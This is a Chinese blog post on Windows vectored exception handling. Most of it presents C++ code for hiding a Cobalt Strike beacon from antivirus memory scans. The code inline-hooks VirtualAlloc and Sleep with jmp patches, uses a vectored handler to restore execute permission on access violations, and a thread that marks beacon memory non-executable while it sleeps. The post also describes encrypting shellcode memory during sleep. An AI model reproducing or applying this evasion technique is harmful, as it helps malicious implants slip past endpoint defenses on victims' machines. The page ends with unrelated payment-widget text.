向量化异常处理程序 继续处理程序 veh 例子

 

继续处理程序不知为何 竟然不触发!

 

 

windows中的异常处理 windows中的主要异常处理机制:VEH、SHE、C++EH。 SEH中文全称:结构化异常处理。就是平常用的 __try__finally __try__except,是对C的扩展。 WEH中文名称:向量异常处理。一般来说用AddVectorExceptionHandler 去添加一个异常处理函数,可以通过第一个参数决定是否将VEH函数插入到VEH链表头,插入链表头的函数先执行,如果为1,则会最优先执行。 C++EH是C++提供的异常处理方式,执行顺序将排在最后。 在用户模式下发生异常时,异常处理分发函数在内部会先调用遍历VEH记录链表的函数,如果没有找到可以处理异常的注册函数,再开始遍历SEH注册链表。 Windows异常处理顺序流程 终止当前程序的执行-->调试器(进程必须被调试,向调试器发送EXCEPTION_DEBUG_EVENT消息)-->执行VEH-->执行SEH-->TopLevelEH(进程调试时不会被执行)-->执行VEH-->交给调试器(上面的异常处理都说处理不了,就再次交给调试器)-->调用异常端口通知csrss.exe 通过流程可以看到VEH的执行顺序是先于SEH的 通过VEH异常处理规避内存扫描 当AV扫描进程空间的时候,并不会将所有的内存空间都扫描一遍,只会扫描敏感的内存区域。 所谓敏感内存区域就是指可执行的区域。思路就是不断改变某一块内存属性,当执行命令或者某些操作的时候,执行的内存属性是可执行的,当功能模块进入睡眠的时候将内存属性改为不可执行。 当执行的地址空间为不可执行时,若强行执行会返回0xc0000005异常,这个异常是指没有执行权限。所以通过VEH抓取这个异常,即可根据需求,动态的改变内存属性,进而逃避内存扫描。 当触发0xc0000005异常的时候需要恢复内存的可执行属性,就通过AddVectoredExceptionHandler去注册一个异常处理函数,作用就是更改内存属性为可执行。那么就需要知道是哪一块地址需要修改,这里要根据申请空间的API决定,如果是 VirtualAlloc 就hook VirtualAlloc ,如果是其他申请空间API就hook其他API,这个根据具体的c2profile配置有关。如果不使用c2profile,那么就是默认使用 VirtualAlloc分配空间, 还有一个需要去hook的就是Sleep,因为需要在执行Sleep的时候就将功能模块的内存属性改为不可执行,规避内存扫描。 封装了一个HOOK变量, class HOOK { public: HOOK(); ~HOOK(); BOOL Vir_FLAG; HANDLE hEvent; BYTE g_OldAlloc[5]; BYTE g_OldSleep[5]; DWORD Beacon_flOldProtect; LPVOID BeaconAddress; SIZE_T BeaconLen; void HookVirtualAlloc(); void UnHookVirtualAlloc(); void HookSleep(); void UnHookSleep(); }; AI写代码 #include"HookVirtual.h" extern HOOK hook; HOOK::HOOK() { Vir_FLAG=FALSE; hEvent= CreateEvent(NULL, FALSE, FALSE, NULL); Beacon_flOldProtect=0; BeaconAddress=NULL; BeaconLen=0; for (int i = 0; i < 5; i++) { g_OldAlloc[i] = 0; }; for (int i = 0; i < 5; i++) { g_OldSleep[i] = 0; }; } HOOK::~HOOK() { } static LPVOID (WINAPI* OldVirtualAlloc)( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect )=VirtualAlloc; static VOID(WINAPI* OldSleep)(_In_ DWORD dwMilliseconds)=Sleep; LPVOID WINAPI NewVirtualAlloc( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) { hook.UnHookVirtualAlloc(); hook.BeaconLen = dwSize; hook.BeaconAddress = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); hook.HookVirtualAlloc(); printf("分配大小:%d\n", hook.BeaconLen); printf("分配地址:%d\n", hook.BeaconAddress); return hook.BeaconAddress; } void WINAPI NewSleep( _In_ DWORD dwMilliseconds ) { if (hook.Vir_FLAG) { VirtualFree(hook.BeaconAddress, 0, MEM_RELEASE); hook.Vir_FLAG = false; } printf("sleep时间:%d\n", dwMilliseconds); hook.UnHookSleep(); OldSleep(dwMilliseconds); hook.HookSleep(); SetEvent(hook.hEvent); //解锁 } void HOOK::HookVirtualAlloc() { DWORD dwAllocOldProtect = NULL; BYTE PAllocData[5] = { 0xe9,0x0,0x0,0x0,0x0 }; RtlCopyMemory(g_OldAlloc, OldVirtualAlloc, sizeof(PAllocData));//保存原来的硬编码 DWORD dwAllocOffset = (DWORD)NewVirtualAlloc - (DWORD)OldVirtualAlloc - 5;//计算偏移 /*因为你将要构建的跳转指令通常是 5 个字节长(0xE9 指令)。这是因为 x86 汇编中的无条件跳转指令需要 5 个字节来包括跳转指令本身以及相对偏移值。*/ RtlCopyMemory(&PAllocData[1], &dwAllocOffset, sizeof(dwAllocOffset));//得到完整的PAllocData VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &dwAllocOldProtect);//改为可写属性 RtlCopyMemory(OldVirtualAlloc, PAllocData, sizeof(PAllocData));//将偏移地址写入,跳转到新的 VirtualProtect(OldVirtualAlloc, 5, dwAllocOldProtect, &dwAllocOldProtect); }; void HOOK::UnHookVirtualAlloc() { DWORD dwOldProtect = NULL; VirtualProtect(OldVirtualAlloc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); RtlCopyMemory(OldVirtualAlloc, g_OldAlloc, sizeof(g_OldAlloc));//还原硬编码 VirtualProtect(OldVirtualAlloc, 5, dwOldProtect, &dwOldProtect);//还原属性 } void HOOK::HookSleep() { DWORD dwSleepOldProtect = NULL; BYTE PSleepData[5] = { 0xe9,0x0,0x0,0x0,0x0 }; RtlCopyMemory(g_OldSleep, OldSleep, sizeof(PSleepData));//保存原来的硬编码 DWORD dwSleepOffset = (DWORD)(NewSleep) - (DWORD)OldSleep - 5; //计算偏移 /*因为你将要构建的跳转指令通常是 5 个字节长(0xE9 指令)。这是因为 x86 汇编中的无条件跳转指令需要 5 个字节来包括跳转指令本身以及相对偏移值。*/ RtlCopyMemory(&PSleepData[1], &dwSleepOffset, sizeof(dwSleepOffset));//得到完整的PAllocData VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwSleepOldProtect);//改为可写属性 RtlCopyMemory(OldSleep, PSleepData, sizeof(PSleepData));//将偏移地址写入,跳转到新的 VirtualProtect(OldSleep, 5, dwSleepOldProtect, &dwSleepOldProtect); } void HOOK::UnHookSleep() { DWORD dwOldProtect = NULL; VirtualProtect(OldSleep, 5, PAGE_READWRITE, &dwOldProtect); RtlCopyMemory(OldSleep, g_OldSleep, sizeof(g_OldSleep));//还原硬编码 VirtualProtect(OldSleep, 5, dwOldProtect, &dwOldProtect);//还原属性 } AI写代码 然后就是注册异常函数,这个异常函数就是为了恢复可执行内存属性。 BOOL is_Exception(DWORD eipValue) { if (eipValue > 0x1000) { return true; } else { return false; } } AI写代码 is_Exception函数是为了验证是不是在申请空间内范围出现异常,而不是其他内存空间。(NTAPI是一种调用约定) 起一个线程,让它不断等待sleep函数通知,通知后就将内存空间设置为不可执行,线程控制的话就用到了事件。 LONG NTAPI PvectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo) { wprintf(L"异常错误码:%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode); wprintf(L"线程地址:%lx\n", ExceptionInfo->ExceptionRecord->ExceptionAddress); if (ExceptionInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(ExceptionInfo->ContextRecord->Eip)) { printf("恢复可执行内存属性"); VirtualProtect(hook.BeaconAddress, hook.BeaconLen, PAGE_EXECUTE_READWRITE, &hook.Beacon_flOldProtect); return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } DWORD WINAPI SetNoExecutable(LPVOID lpParameter) { while (true) { //等待解锁 WaitForSingleObject(hook.hEvent, INFINITE); printf("设置Beacon内存属性不可执行\n"); VirtualProtect(hook.BeaconAddress, hook.BeaconLen, PAGE_READWRITE, &hook.Beacon_flOldProtect); //设置事件为未被通知的,重新上锁 ResetEvent(hook.hEvent); } } AI写代码 由于杀软并不是一直扫描内存,而是间歇性的扫描敏感内存,因此可以在cs的shellcode调用sleep休眠将可执行内存区域加密,在休眠结束时,再将内存解密来规避杀软内存扫描达到免杀目的。进行内存加密时,需要注意的一点,需要加密的不是我们为shellcode申请的内存,而是shellcode自己使用virtualalloc函数申请的内存。 我们需要对 shellcode 自己使用 VirtualAlloc 函数申请的内存 2 进行加密,这就需要挂钩 sleep 函数到我们自定义的 HookSleep 函数: 在进入 HookSleep 函数时使用自定义加密函数对内存 2 进行加密并使用 VirtualProtect 更改内存 2 权限为 PAGE_NOACCESS,使其不可访问。 恢复原来的 Sleep 函数并调用原函数进行休眠。 在退出 HookSleep 函数时对内存 2 进行解密并使用 VirtualProtect 更改内存 2 权限为可执行权限 PAGE_EXECUTE。 分析
最新发布
07-24
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值